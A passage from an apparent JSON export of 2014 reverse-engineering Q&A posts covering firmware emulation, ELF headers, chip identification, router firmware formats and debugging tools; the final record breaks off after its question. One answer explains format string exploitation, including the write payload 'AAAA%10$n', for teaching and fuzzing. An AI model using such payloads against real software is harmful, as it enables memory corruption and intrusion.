/mnt/virtual\n</code></pre>\n",
        "Title": "Emulate TP-LINK WR740N with QEMU",
        "Tags": "|firmware|qemu|mips|",
        "Answer": "<p>I was able to get that firmware to a shell by doing the following:</p>\n\n<ol>\n<li>Unpacking the squashfs image</li>\n<li>Create a filesystem image formatted to ext2 and copying the unpacked squashfs contents into that, and using that as <code>-hda</code></li>\n<li>Running without <code>-initrd ...</code> and appending <code>init=/bin/sh</code> to the kernel command line</li>\n</ol>\n\n<p>Although you are not fully emulating the WR740N because most of the hardware is missing and it is a different kernel.  Emulating a router in qemu is always going to be a partial process because of that.</p>\n"
    },
    {
        "Id": "4487",
        "CreationDate": "2014-05-30T15:31:43.500",
        "Body": "<p>I think I understand how a format string vulnerability works, but what I have seen so far it can only be used to increase the value of an integer.</p>\n\n<p>Can format string vulnerability also be used to write anything else?</p>\n\n<p>And, by the way, are there languages, other then C and C++, that are at risk of creating such a vulnerability? How can I spot a format string vulnerability if I only have a binary?</p>\n",
        "Title": "How can a format string vulnerability be used to write a specific string into memory?",
        "Tags": "|binary-analysis|c|c++|vulnerability-analysis|strings|",
        "Answer": "<p>It's a lot of questions, here are a few answers:</p>\n\n<h2>How can we write something in memory with a format string vulnerability ?</h2>\n\n<p>For this, you need to know two specific features used in the <code>printf</code> format string specifications. First, <code>%n</code> is a format specifier that has the following effect (according to the manual page):</p>\n\n<blockquote>\n  <p><code>%n</code> The number of characters written so far is stored into the integer indicated by the <code>int *</code> (or variant) pointer argument. No argument is converted.</p>\n</blockquote>\n\n<p>Now, the second format string feature will allow us to select a specific argument from the format string. The main selection operator is <code>$</code>, and the following code means that we select the second argument (here the outcome will be to display <code>2</code>):</p>\n\n<pre><code>printf(\"%2$x\", 1, 2, 3)\n</code></pre>\n\n<p>But, in the general case, we can do <code>printf(\"%&lt;some number&gt;$x\")</code> to select an arbitrary argument of the current <code>printf</code> function (format string argument does not count).</p>\n\n<p>If we could pass the string <code>AAAA%10$n</code> to the program and make it appear as a format string, then we could write the value <code>4</code> to the address <code>0x41414141</code>.</p>\n\n<p>So, format string bugs may offer a full access to the memory and you can decide what to write and where in the memory.</p>\n\n<p>I really advise you to read \"<a href=\"http://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf\">Exploiting Format String Vulnerabilities</a>\" from Scut (2001) to get a whole grasp on these kind of manipulations.</p>\n\n<h2>Are they other languages than C/C++ that are vulnerable to these bugs ?</h2>\n\n<p>Well, format string bugs are tied up to the <code>printf</code> function family and the way format strings may be passed to the function. It's a whole class of security issue itself. So, you might find ways to exploit similar problems in some other languages. Though, you may not find the exact same features as the format string capabilities in other languages may differ a lot.</p>\n\n<p>I do think about languages such as Perl, Python, and so on, that all offer similar access to format string features.</p>\n\n<h2>How can I spot format string vulnerabilities if I have only the binary ?</h2>\n\n<p>First, you have to locate the calls to procedure of the <code>printf</code> family. Then, I would say that fuzz-testing (fuzzing) should be a good way to find the vulnerabilities. Especially if you can forge a few entries with seeds such as <code>AAAA%10$n</code>.</p>\n\n<p>If you want a more accurate and exhaustive way to find it, you will probably need to do some binary analysis and taint analysis on every call to a procedure of the <code>printf</code> family.</p>\n"
    },
    {
        "Id": "4504",
        "CreationDate": "2014-06-02T13:54:38.543",
        "Body": "<h1>Constraints:</h1>\n<p>I am doing reverse engineering of a binary firmware image of unknown provenance, which operates on a device that is <strong>not</strong> physically accessible to me.  That is, I can't take apart the device, don't have even block diagrams for its function, and have no ability to identify the microprocessor by visual inspection or by asking the creator of the object.  Literally the <em>only</em> thing available is the binary image.</p>\n<h1>The Question:</h1>\n<p>My question is: <strong>given those constraints</strong> what tools or theoretical approaches could be employed to identify the processor's instruction set by examining the binary?</p>\n<h1>Research so far:</h1>\n<p>I have, of course, attempted to use disassemblers for various popular ISAs such as ARM, x86 and MIPS.  I have also done a literature search for research papers but haven't turned up anything at all.</p>\n<p>Ideally, what I'd like is a tool that would examine the binary and then report something like &quot;75% probability that this is code for a Renesas M16C.&quot;</p>\n",
        "Title": "how can the processor instruction set be identified solely by examining a binary image?",
        "Tags": "|disassembly|machine-code|",
        "Answer": "<p><a href=\"http://recon.cx/2012/schedule/events/236.en.html\">This presentation</a> offers one approach.</p>\n\n<p>Title: Reverse engineering of binary programs for custom virtual machines</p>\n\n<p>Authors: Alexander Chernov and Katerina Troshina</p>\n\n<blockquote>\n  <ul>\n  <li>Initial markup of the binary program. Identification of data\n  sections and code sections. Prior information about the purpose of the\n  program or even some documentation hints may be used. At this step the\n  entry point to the code (or several entry points) are identified.  </li>\n  <li>Reconstruction of subroutine structure by identification of\n  the subroutine borders. The subroutine return (RET) instruction is\n  identified. It is naturally to expect that the last instruction in the\n  code segment would be the return instruction. RET instruction normally\n  separates subroutines, so we may expect, that CALL instruction should\n  pass the control right after RET instruction in many (or even most)\n  cases.  </li>\n  <li>Identification of the unconditional jump (JMP) instruction\n  using the assumption, that code execution starts at some fixed\n  address.  </li>\n  <li>Identification of call instruction. Call instructions are\n  similar to unconditional jumps. By investigation of initialization\n  code several candidates for the CALL instruction can be identified,\n  and the one candidate remained after validation on the whole code.</li>\n  <li>Recovering of absolute and relative jumps and call by looking\n  at the bit encoding of instruction and checking whether it could be an\n  offset relative to the next instruction word. This way relative jumps,\n  calls and candidates for conditional jumps were identified.  </li>\n  <li>Identification of memory load and store instruction by\n  observing load-store patterns for memory-memory copy operations.  </li>\n  <li>Observations on the virtual machine register structure and\n  register width. How many registers this VM probably has and how wide\n  are they.  </li>\n  <li>Observations on the arithmetics and logics operation by\n  pairing with the identified conditional jumps.</li>\n  </ul>\n</blockquote>\n"
    },
    {
        "Id": "4513",
        "CreationDate": "2014-06-03T07:49:54.047",
        "Body": "<p>I'm analyzing an rather ancient 3D mesh format (from 1995 or 1996). Inside the files, there are blocks of what I think are vertices.</p>\n\n<p>For example, the following is a direct hex dump from such a part:</p>\n\n<pre><code>7855DAFF\n5BE60E00\n353D0200\nC82D0B00\n5BE60E00\n353D0200\nC82D0B00\n5BE60E00\nB61AEDFF\n7855DAFF\n5BE60E00\nB61AEDFF\n7855DAFF\n59D2FDFF\n363D0200\nC82D0B00\n59D2FDFF\n363D0200\nC82D0B00\n59D2FDFF\nB61AEDFF\n7855DAFF\n59D2FDFF\nB61AEDFF\n</code></pre>\n\n<p>These blocks are introduced by a little header, which has a value that could be the number of vertices that are present in the corresponding data block. For this excerpt, there is a <code>0x08</code>. Since we have 24 values of 32bit, I think it is safe to assume that these blocks are actual vertices (<code>0x08 * 3 = 24</code>, with <code>xyz</code>). Other headers also have this value and their data blocks also have the exact number of <code>dwords ([value in header] * 3 =&gt; number of dwords</code>).</p>\n\n<p>But, now I'm struggling at deciphering the number format that was used. It isn't IEEE754; a friend of mine also pointed out that the hardware that was used these days didn't perform well with floating-point numbers and therefore often fixed-point numbers where used.</p>\n\n<p>So, any idea what kind of format this could be ?</p>\n",
        "Title": "Ancient number formats (probably fixed-point)",
        "Tags": "|binary-analysis|file-format|",
        "Answer": "<p>if you reverse the byte order, and assume signed numbers you get these triplets:</p>\n\n<pre><code>-2468488  976475   146741\n  732616  976475   146741\n  732616  976475 -1238346\n-2468488  976475 -1238346\n-2468488 -142759   146742\n  732616 -142759   146742\n  732616 -142759 -1238346\n-2468488 -142759 -1238346\n</code></pre>\n\n<p>these seem like the coordinates of the corners of a 3d cube  </p>\n\n<pre><code>x=(-2468488 .. 732616)\ny=( -142759 .. 976475)\nz=(-1238346 .. 146742)\n</code></pre>\n"
    },
    {
        "Id": "4520",
        "CreationDate": "2014-06-04T10:43:36.750",
        "Body": "<p>I am debugging a program that reads an environment variable. So far, I could not find how to launch it in Immunity/Olly with a custom environment.</p>\n\n<p>Anybody know how this can be done?</p>\n",
        "Title": "Passing an environment to debugged program in Olly/Immunity",
        "Tags": "|ollydbg|immunity-debugger|",
        "Answer": "<p>As an alternative to blabb's answer, if you'd like to set the environment variable via a GUI, you can use <a href=\"http://www.codeproject.com/Articles/32131/Dynamically-Add-Edit-Environment-Variables-of-Remo\" rel=\"nofollow\">http://www.codeproject.com/Articles/32131/Dynamically-Add-Edit-Environment-Variables-of-Remo</a></p>\n"
    },
    {
        "Id": "4526",
        "CreationDate": "2014-06-04T16:43:28.923",
        "Body": "<p>I'm working on reverse engineering a PCB (no documentation by manufacturer). I've identified all the other chips on this board but this one refuses to give up any google-able info. Are there any resources that can help me identify what kind of chip this is?</p>\n\n<p><a href=\"https://i.stack.imgur.com/mnUlS.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/UG05u.png\" title=\"Hosted by imgur.com\" /></a></p>\n\n<pre><code>      ______________\nD1 --|O    ATH 330  |--?\nD2 --|              |--Vss\nVss--|     50?L  8  |--D4\nGND--|     3U49758  |--D5\n      --------------\n</code></pre>\n\n<p>D1, D2, D3 and D4 pins are connected to a 5x2 grid of test points which I've soldered a header into. Vss is connected to the Vss of a PIC32MX695F512H microcontroller.</p>\n\n<p>Let me know if I can provide additional info to assist this process.</p>\n",
        "Title": "Identifying an unknown chip on a PCB",
        "Tags": "|hardware|embedded|pcb|",
        "Answer": "<p>The markings look like an Atmel part (it starts with \"AT\", which is common for Atmel parts). Given the size of the chip and context which you provided, I figured it was probably a serial EEPROM. Looking through Atmel's serial EEPROM datahsheets, your mystery chip is almost certainly an Atmel AT25128B-SSHL SPI EEPROM, which matches your chip's product markings and pinout.</p>\n\n<p>According to the AT25128B <a href=\"http://www.atmel.com/Images/doc8698.pdf\">datasheet</a>, the first line should be ATHXXX, where XXX is a three digit date code. In your case, \"ATH330\" means it was made in the 30th week of 2013.</p>\n\n<p>The second line contains the product's truncated part number (truncated part numbers are used when the entire part number is too long to fit on the package) and country of assembly. The truncated part number for the AT25128B is \"5DBL\", which from the picture looks reasonably like what is printed on your chip, and the trailing \"8\" identifies the country of assembly (I don't know what country \"8\" corresponds to, but its probably somewhere in Asia :)).</p>\n\n<p>The last line is the Atmel lot number.</p>\n"
    },
    {
        "Id": "4532",
        "CreationDate": "2014-06-04T23:28:52.360",
        "Body": "<p>So, say that I have the following code, which gives three examples of what I believe to be unnecessary copies of values.</p>\n\n<pre><code>mov    QWORD PTR [rbp-0x18],rdi\nmov    rdx,QWORD PTR [rbp-0x18]\nlea    rax,[rbp-0x10]\nmov    rsi,rdx\nmov    rdi,rax\ncall   4003e0 &lt;strcpy@plt&gt;\n</code></pre>\n\n<p>Why is the value in <code>rdi</code> copied to memory at <code>rbp-0x18</code>, then copied back to <code>rdx</code> ?  It's then copied to <code>rsi</code> (2 extra copies).</p>\n\n<p>Finally, why the <code>lea + mov</code> for <code>rbp-0x10</code> to <code>rax</code>, then to <code>rdi</code> ?  Is there any reason the following code wasn't generated ?</p>\n\n<pre><code>mov    rsi,rdi\nlea    rdi,[rbp-0x10]\ncall   4003e0 &lt;strcpy@plt&gt;\n</code></pre>\n\n<p>(My guess is that this is just an artifact of the code generation in the compiler, but I'm making sure there's not some rules of x86-64 that I'm missing.)</p>\n",
        "Title": "Why are values passed through useless copies?",
        "Tags": "|linux|x86-64|",
        "Answer": "<p>There are no artifacts and surely the compiler, and I mean <code>GCC</code>, can generate a better and faster code if told so. The first version of your generated code is non optimized. Why ? Either because <code>-O0</code> flag (0 level optimizations ==> No optimizations) was specified, or because no optimization flags were specified and by default <code>GCC</code> turns optimizations off. </p>\n\n<p>Below you'll find two versions of the same code. Version 1 with <code>-O0</code> flag. Version 2 with <code>-O2</code> flag. </p>\n\n<ul>\n<li><p><strong>Version 1:</strong></p>\n\n<pre><code> 55                      push   rbp\n 48 89 e5                mov    rbp,rsp\n 48 81 ec 10 04 00 00    sub    rsp,0x410\n 89 bd fc fb ff ff       mov    DWORD PTR [rbp-0x404],edi\n 48 89 b5 f0 fb ff ff    mov    QWORD PTR [rbp-0x410],rsi\n 48 8b 85 f0 fb ff ff    mov    rax,QWORD PTR [rbp-0x410]\n 48 83 c0 08             add    rax,0x8\n 48 8b 10                mov    rdx,QWORD PTR [rax]\n 48 8d 85 00 fc ff ff    lea    rax,[rbp-0x400]\n 48 89 d6                mov    rsi,rdx\n 48 89 c7                mov    rdi,rax\n e8 40 fe ff ff          call   400400 &lt;strcpy@plt&gt;\n 48 8d 85 00 fc ff ff    lea    rax,[rbp-0x400]\n 48 89 c7                mov    rdi,rax\n e8 41 fe ff ff          call   400410 &lt;puts@plt&gt;\n b8 00 00 00 00          mov    eax,0x0\n c9                      leave\n c3                      ret\n 66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]\n 00 00 00  \n</code></pre></li>\n<li><p><strong>Version 2:</strong></p>\n\n<pre><code> 48 81 ec 08 04 00 00    sub    rsp,0x408\n 48 8b 76 08             mov    rsi,QWORD PTR [rsi+0x8]\n 48 89 e7                mov    rdi,rsp\n e8 ad ff ff ff          call   400400 &lt;strcpy@plt&gt;\n 48 89 e7                mov    rdi,rsp\n e8 b5 ff ff ff          call   400410 &lt;puts@plt&gt;\n 31 c0                   xor    eax,eax\n 48 81 c4 08 04 00 00    add    rsp,0x408\n c3                      ret\n 0f 1f 00                nop    DWORD PTR [rax]\n</code></pre></li>\n</ul>\n\n<p>If you're interested in the optimizations performed by <code>GCC</code> you should read <a href=\"https://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html\">this</a> link, and <a href=\"https://gcc.gnu.org/onlinedocs/gcc-4.6.1/gnat_ugn_unw/Optimization-Levels.html\">this</a> one too. You can also check the <a href=\"ftp://ftp.uvsq.fr/pub/gcc/summit/\"><code>GCC</code> summit publications</a>.</p>\n"
    },
    {
        "Id": "4536",
        "CreationDate": "2014-06-05T07:56:14.460",
        "Body": "<p>I would like to analyze (and fuzz) a USB device and I need a bit of guidance to setup a full platform to discuss with the device.</p>\n\n<p>First, I would like to know what are the most used hardware cards to emulate and perform fuzzing on USB devices. I've heard about the <a href=\"http://goodfet.sourceforge.net/hardware/facedancer11/\">FaceDancer11 card</a> with a Python API (see a few  blog posts [<a href=\"http://travisgoodspeed.blogspot.fr/2012/07/emulating-usb-devices-with-python.html\">1</a>,<a href=\"http://travisgoodspeed.blogspot.fr/2012/10/emulating-usb-dfu-to-capture-firmware.html\">2</a>] from <a href=\"http://travisgoodspeed.blogspot.fr/\">Travis Goodspeed</a>). But, are they others ?</p>\n\n<p>Also, if someone could come with a list of the needed hardware devices and, maybe, some existing Python libraries that are useful to have and, what development effort is needed to setup such a platform, it would be helpful.</p>\n",
        "Title": "Setting an USB Emulation and Fuzzing Platform?",
        "Tags": "|hardware|fuzzing|usb|",
        "Answer": "<p>Page 4 of <a href=\"https://www.nccgroup.com/media/190706/usb_driver_vulnerabilities_whitepaper_january_2013.pdf\" rel=\"nofollow\">https://www.nccgroup.com/media/190706/usb_driver_vulnerabilities_whitepaper_january_2013.pdf</a> gives a good introduction to setting up a USB-fuzzing test platform.</p>\n\n<blockquote>\n  <p>Testing USB drivers on host machines is not a straightforward process,\n  because you either need to emulate a USB device or proxy the traffic\n  between a device and the host. As a result of how the protocol works\n  it would be extremely difficult to convert a USB host e.g. a PC into a\n  USB device and therefore, if you are not modifying the traffic\n  en-route via some kind of hooking or proxy solution, you need to use a\n  hardware-based approach. This section details the various different\n  approaches to testing USB hosts and compares the relative merits of\n  each...</p>\n</blockquote>\n"
    },
    {
        "Id": "4546",
        "CreationDate": "2014-06-05T13:33:02.397",
        "Body": "<p>How should I decide file is malware or not. Before reverse engineering any file, I should be suspect the file. What are the various ways to decide if exe is malicious? </p>\n\n<p>Thanks  </p>\n",
        "Title": "How to decide file is malware or not?",
        "Tags": "|malware|",
        "Answer": "<p>This is a million dollar question and I doubt anybody will be able to provide a convincing answer. There are many methods used by antivirus software &amp; analysts. </p>\n\n<p>One is to perform a stupid matching with known malware signatures. Another could be to statically analyze the application, extract the control flow (by reconstructing the <a href=\"https://en.wikipedia.org/wiki/Control_flow_graph\" rel=\"nofollow\"><code>CFG</code></a>) of the application and deploy heuristics &amp; pattern matching algorithms in order to determine if the application performs suspicious tasks. This can usually be done after analyzing known malware &amp; building profiles of their behaviors (suspicious <code>syscall</code> call graph, ...). </p>\n\n<p>There are numerous techniques and this field is still open for research (<a href=\"http://www.cs.colostate.edu/~anderson/cs545/assignments/solutionsGoodExamples/assignment8Williams.pdf\" rel=\"nofollow\">this</a> document describes an interesting one), some are extremely advanced and may necessitate sharp mathematical skills, and others are hard to program. Mainly, because none of them follow the standard algorithmic approach and rather use machine learning, genetic algorithms, and sometimes <code>AI</code>. </p>\n\n<p>I suggest you going through <a href=\"http://www.securelist.com/en/analysis/204791972/The_evolution_of_technologies_used_to_detect_malicious_code?print_mode=1\" rel=\"nofollow\">this</a> <code>Securelist</code> article, and <a href=\"http://virii.es/U/Using%20Entropy%20Analysis%20to%20Find%20Encrypted%20and%20Packed%20Malware.pdf\" rel=\"nofollow\">this</a> publication too if you're interested by more material.  </p>\n"
    },
    {
        "Id": "4549",
        "CreationDate": "2014-06-05T14:22:49.187",
        "Body": "<p>I would like to load a function I have decompiled in IDA Pro.  All I have is the IDA Pro function name <code>sub_xxxx()</code> and obviously the address.  I had thought about using <code>dlopen</code> to load the binary but obviously I don't have a symbol to load as the binary has been stripped.  Could I somehow call the function without a symbol table?  Or do I have to rebuild the symbol table of the binary to then use <code>dlsym</code> to locate and load the symbol?</p>\n",
        "Title": "Rebuild symbol table",
        "Tags": "|disassembly|dynamic-linking|",
        "Answer": "<p>I do not know your exact case. But if the binary is just stripped (or sstrip is used) and your function is just a call to an external symbol of a dynamic library, you might want to take a look at this little IDA python script of mine: <a href=\"http://h4des.org/blog/index.php?/archives/343-Restoring-external-symbol-calls-in-IDA-when-ELF-sections-are-deleted.html\" rel=\"nofollow\">http://h4des.org/blog/index.php?/archives/343-Restoring-external-symbol-calls-in-IDA-when-ELF-sections-are-deleted.html</a></p>\n\n<p>This script uses an ELF parser library I wrote (called ZwoELF) that tries to only use information that the ELF loader is using to circumvent problems that almost all analysis tools/frameworks I tested have because they rely on optional data like ELF sections.</p>\n"
    },
    {
        "Id": "4551",
        "CreationDate": "2014-06-06T03:23:17.553",
        "Body": "<p>I recently read that the kernel and the dynamic loader mostly deal with the <code>program header tables</code> in an ELF file and that assemblers, compilers and linkers deal with the <code>section header tables</code>.</p>\n\n<p>The number of program header tables and section header tables are mentioned in the ELF header in fields named  <code>e_phnum</code> and <code>e_shnum</code> respectively. <code>e_phnum</code> is two bytes in size, so if the number of program headers is > 65535, we use a scheme known as <code>extended numbering</code> where, <code>e_phnum</code> is set to 0xffff and <code>sh_link</code> field of the zeroth section header table holds the actual count.</p>\n\n<p>My doubt is :</p>\n\n<blockquote>\n  <p>If the count of program headers exceeds 65535, does that mean the kernel and/or the dynamic loader end up having to read the section table ?</p>\n</blockquote>\n",
        "Title": "Kernel dealing with the section headers in an ELF",
        "Tags": "|linux|file-format|elf|kernel-mode|",
        "Answer": "<p>I've just checked the linux kernel loading ELF function (loading_elf_binary) and I find out that if <strong>e_phnum > (65536U / sizeof(struct elf_phdr))</strong> or <strong>e_phnum &lt; 1</strong>, the current loading routine will stop (line 613-615), the ELF file won't be loaded:</p>\n\n<pre><code>610         /* Now read in all of the header information */\n611         if (loc-&gt;elf_ex.e_phentsize != sizeof(struct elf_phdr))\n612                 goto out;\n613         if (loc-&gt;elf_ex.e_phnum &lt; 1 ||\n614                 loc-&gt;elf_ex.e_phnum &gt; 65536U / sizeof(struct elf_phdr))\n615                 goto out;\n616         size = loc-&gt;elf_ex.e_phnum * sizeof(struct elf_phdr);\n617         retval = -ENOMEM;\n618         elf_phdata = kmalloc(size, GFP_KERNEL);\n619         if (!elf_phdata)\n620                 goto out;\n</code></pre>\n\n<p>Reference: <a href=\"http://lxr.free-electrons.com/source/fs/binfmt_elf.c\" rel=\"nofollow\">http://lxr.free-electrons.com/source/fs/binfmt_elf.c</a></p>\n\n<p>Also the number of programheader (e_phnum) in ELF32/64 is always 16 bit variable</p>\n\n<pre><code>203 typedef struct elf32_hdr{\n204   unsigned char e_ident[EI_NIDENT];\n205   Elf32_Half    e_type;\n206   Elf32_Half    e_machine;\n207   Elf32_Word    e_version;\n208   Elf32_Addr    e_entry;  /* Entry point */\n209   Elf32_Off     e_phoff;\n210   Elf32_Off     e_shoff;\n211   Elf32_Word    e_flags;\n212   Elf32_Half    e_ehsize;\n213   Elf32_Half    e_phentsize;\n214   Elf32_Half    e_phnum;\n215   Elf32_Half    e_shentsize;\n216   Elf32_Half    e_shnum;\n217   Elf32_Half    e_shstrndx;\n218 } Elf32_Ehdr;\n219 \n220 typedef struct elf64_hdr {\n221   unsigned char e_ident[EI_NIDENT];     /* ELF \"magic number\" */\n222   Elf64_Half e_type;\n223   Elf64_Half e_machine;\n224   Elf64_Word e_version;\n225   Elf64_Addr e_entry;           /* Entry point virtual address */\n226   Elf64_Off e_phoff;            /* Program header table file offset */\n227   Elf64_Off e_shoff;            /* Section header table file offset */\n228   Elf64_Word e_flags;\n229   Elf64_Half e_ehsize;\n230   Elf64_Half e_phentsize;\n231   Elf64_Half e_phnum;\n232   Elf64_Half e_shentsize;\n233   Elf64_Half e_shnum;\n234   Elf64_Half e_shstrndx;\n235 } Elf64_Ehdr;\n</code></pre>\n\n<p>Define data type as followed:</p>\n\n<pre><code>9 typedef __u16   Elf32_Half;\n16 typedef __u16   Elf64_Half;\n</code></pre>\n\n<p>Reference: <a href=\"http://lxr.free-electrons.com/source/include/uapi/linux/elf.h#L263\" rel=\"nofollow\">http://lxr.free-electrons.com/source/include/uapi/linux/elf.h#L263</a></p>\n\n<p>So, also in the case of a invalid value of e_phnum (invalid ELF file), the maximum value of e_phnum is 65535.</p>\n\n<p>Hope this helpful!</p>\n"
    },
    {
        "Id": "4552",
        "CreationDate": "2014-06-06T09:30:42.100",
        "Body": "<p>I'm currently researching my home router (D-Link 2760-U) which has a (kind-of) proprietary ISP firmware. What I'm trying to achieve is understanding how the router is persisting it's configuration settings across reboots.</p>\n\n<p><code>mount</code> output:</p>\n\n<pre><code>/dev/mtdblock0 on / type squashfs (ro,relatime)\n/proc on /proc type proc (rw,relatime)\ntmpfs on /var type tmpfs (rw,relatime,size=420k)\ntmpfs on /mnt type tmpfs (rw,relatime,size=16k)\nsysfs on /sys type sysfs (rw,relatime)\n</code></pre>\n\n<p>I did <code>nvram show</code> and it does contain some wireless configuration such as the encryption in use, wireless modes, pre-shared key but that's about it. Obviously the router has other configurations (such as DNS, PPP, Port forwards etc) that must be stored elsewhere. \nAs it can be observed, all mounted filesystems are volatile and thus configuration cannot be stored in them.</p>\n\n<p>Where can the information be saved besides filesystem and NVRAM? How do I go about finding this out?</p>\n",
        "Title": "How can I figure where my router stores it's configuration across reboots?",
        "Tags": "|linux|firmware|embedded|",
        "Answer": "<p>I have played with at least one (not a D-Link) Linux-based router that stored its configuration in a bare <code>mtd</code> partition and accessed it using a proprietary binary.  It compressed the data using LZMA or something but within that, you could see passwords in clear-text (not good!)</p>\n\n<p>D-Link actually have a very good GPL source code system, go to <a href=\"http://tsd.dlink.com.tw/downloads2008list.asp?SourceType=download&amp;OS=GPL\" rel=\"nofollow\">http://tsd.dlink.com.tw/downloads2008list.asp?SourceType=download&amp;OS=GPL</a> and type in 2760 and you can download the entire buildroot and source for that router.</p>\n\n<p>Even if they happen to use some non-standard proprietary mechanism for saving configuration, you should be able to get some idea of where it is hidden from examining the GPL sources...</p>\n"
    },
    {
        "Id": "4565",
        "CreationDate": "2014-06-08T17:40:55.190",
        "Body": "<p>Note: I'm aware of the technical and legal implications of reverse-enginneering binaries.</p>\n\n<p>I have the firmware for a Netgear WGR614v7 router, in the form of a .chk file, coming from Netgear themselves, and I wish to unpack the file. My understanding is that a firmware .chk file is <a href=\"http://www.dd-wrt.com/wiki/index.php/WGR614_v8\" rel=\"nofollow\">a header</a> before a TRX image, and I've tried to untrx the ile I had sans header, or with header as well. Neither that nor <code>binwalk</code> succeeded. Two useful strings are seen very close to the beginning of the file:</p>\n\n<ul>\n<li>AH00I8</li>\n<li>U12H064T00_NETGEAR</li>\n</ul>\n\n<p>Inspecting the file in a hex editor, I'm unable to find the <a href=\"http://wiki.openwrt.org/doc/techref/header?s%5b%5d=trx\" rel=\"nofollow\">TRX file signature</a> (I was looking for ASCII <code>HDR0</code>). I also cannot find any sort of compression magic values, except fairly far into the file where they're not likely to signify the beginning of the actual content I'm looking for. </p>\n\n<p>Am I looking for the wrong filetypes? Is anything about this structure known that I haven't found yet?</p>\n\n<p><strong>Edit:</strong> The firmware has been downloaded from <a href=\"http://support.netgear.com/product/WGR614v7\" rel=\"nofollow\">Netgear's site</a>. I tried chopping off various lengths but cannot find a reasonably-located compression or TRX header. The characteristic <code>ff ff ff ff</code> of IMG images used as a method of preventing a repetitive boot firmware is also not existent.</p>\n\n<p><strong>Edit 2:</strong> I did some searching of my own, and found a <a href=\"http://ttf.mine.nu/techdocs.htm\" rel=\"nofollow\">decompression utility</a>. When I chopped the file such that <code>sqz</code> had been the first characters, that utility seemed to find valid Huffman structures but incur a size mismatch. A result of the decompression yielded 11 bytes, while the program warned me:</p>\n\n<blockquote>\n<pre><code>Warning: Unpacked file should be 7537274 bytes but is 396409921 bytes! at ./unpack.pl line 61, &lt;STDIN&gt; line 3.\n</code></pre>\n</blockquote>\n\n<p>Of course, it could be that many kinds of data that is corrupt might be partially readable as huffman giving me strange results as seen here.</p>\n",
        "Title": "Format of .chk firmware package on WGR614v7",
        "Tags": "|file-format|firmware|",
        "Answer": "<p>The file begins:</p>\n\n<pre><code>0000000: 4148 3030 4938 e66c 000e aa28 9835 0589  AH00I8.l...(.5..\n0000010: 3004 125a 1b39 65ff 47e4 b95c 0001 0014  0..Z.9e.G..\\....\n0000020: 5531 3248 3036 3454 3030 5f4e 4554 4745  U12H064T00_NETGE\n0000030: 4152 0000                                AR..\n</code></pre>\n\n<p>The reason for picking this size will soon become clear.</p>\n\n<p>The first four bytes (<code>AH00</code>) are probably file magic. Googling just that string brings up <a href=\"http://www.0xf8.org/2009/07/hacking-the-netgear-wg102-access-point/\" rel=\"nofollow\">this page</a>, which has a detailed breakdown of a different firmware file with a similar structure.</p>\n\n<p>The next four bytes are not described by the linked page. Reading them as a 32-bit big-endian value (BE32), though, you get 0x4938e66c = 1228465772, which is plausibly a recent UNIX timestamp (usually values from around 800,000,000 to 1,500,000,000). Indeed, it decodes to <code>Fri Dec  5 08:29:32 2008 GMT</code>, which is plausibly the build date of the hardware (and I note that the linked article has 0x481ac265 = <code>Fri May  2 07:27:33 2008 GMT</code>, which also seems plausible).</p>\n\n<p>The next four bytes read as a BE32 value give 961064. The total filesize is 961116 bytes, so this is likely the payload size, leaving 52 bytes for the header (and thus explaining why I chose to show the first 52 bytes here).</p>\n\n<p>The next 32 bytes are the MD5 sum of the payload as indicated by the linked page. I deleted the first 52 bytes and MD5 summed the result:</p>\n\n<pre><code>983505893004125a1b3965ff47e4b95c  /tmp/fw.sqz\n</code></pre>\n\n<p>which is exactly what the header contains.</p>\n\n<p>The next two bytes are unknown.</p>\n\n<p>The next two bytes are 0x0014, which is the length of the string that follows (including two padding NULs). While I'm not familiar with Netgear routers, I'm guessing this is a model/revision number for the hardware target.</p>\n\n<p>And there you go: that's the <code>.chk</code> file header.</p>\n\n<pre><code>char magic[4];\nuint32_t timestamp; // UNIX timestamp\nuint32_t payload_size;\nchar md5sum[32];\nuint16_t unknown; // = 1 on all files seen so far\nuint16_t model_size;\nchar model[model_size];\n</code></pre>\n\n<hr>\n\n<p>In the original linked page, the payload was a plain ELF file. Unfortunately, in your firmware, the payload is some other kind of file, with the magic <code>sqz</code> (\"squeeze\"?). It's clearly compressed, but I can't tell what it's compressed with. For now, this will have to be an incomplete answer until someone figures out what the compression format is.</p>\n"
    },
    {
        "Id": "4568",
        "CreationDate": "2014-06-08T20:49:34.820",
        "Body": "<p>Anyone know of any tools or scripts that can help in <a href=\"http://googleonlinesecurity.blogspot.de/2011/08/fuzzing-at-scale.html\" rel=\"nofollow\">corpus distillation</a> ? I know of <a href=\"http://old.peachfuzzer.com/v3/minset.html\" rel=\"nofollow\">Peach Minset</a>, but not other than that. Appreciate if anyone could share.</p>\n",
        "Title": "Corpus Distillation",
        "Tags": "|tools|fuzzing|",
        "Answer": "<p>Some time ago I wrote <a href=\"https://github.com/ea/minblox\" rel=\"nofollow\">minblox</a> for that exact purpose. It relies on DynamoRIO. Compared to minset which uses pin tool, there isn't much of a difference. Tho I think actual set minimization part works faster than minset. </p>\n\n<p>Minblox tool is comprised of two parts.</p>\n\n<ul>\n<li>A DynamoRIO instrumentation part (libbbcoverage) tasked with recording all basic block executed during application execution.</li>\n<li>minblox.py - Python script that runs the DynamoRIO instrumentation and analyzes the log files to minimize the sample set.</li>\n</ul>\n\n<p>Though, do bear in mind that I've only tested this for a specific case I needed it, so your mileage might vary. </p>\n"
    },
    {
        "Id": "4581",
        "CreationDate": "2014-06-10T09:36:23.317",
        "Body": "<p>I can't seem to figure out if I can and how you load multiple idb files with notes into a debugging session?</p>\n\n<p>Is there a method or plugin that allows me to load these idb's? What I am doing now is start the program make a memory snapshot and make notes that way. When I start the new debuggin session I rebase the dlls. </p>\n\n<p>This does really not work well ;)</p>\n\n<p>note, I currently only have IDA Basic.</p>\n",
        "Title": "Loading multiple IDB files for debugging session",
        "Tags": "|ida|",
        "Answer": "<p>IDA can only work with one IDB at a time. You'll need to either work with all modules in one IDB, or use serveral IDBs/IDA instances and detach/attach to the process as necessary.</p>\n"
    },
    {
        "Id": "4604",
        "CreationDate": "2014-06-13T09:05:00.727",
        "Body": "<p>I just was playing around with Windbg, debugging some application. \nAt some point I had to manipulate EIP which was pretty easy in Windbg. But then once I switched back to Immunity, I could not figure out how to do the same thing.</p>\n\n<p>Is there some way you can change the EIP inside Immunity?</p>\n",
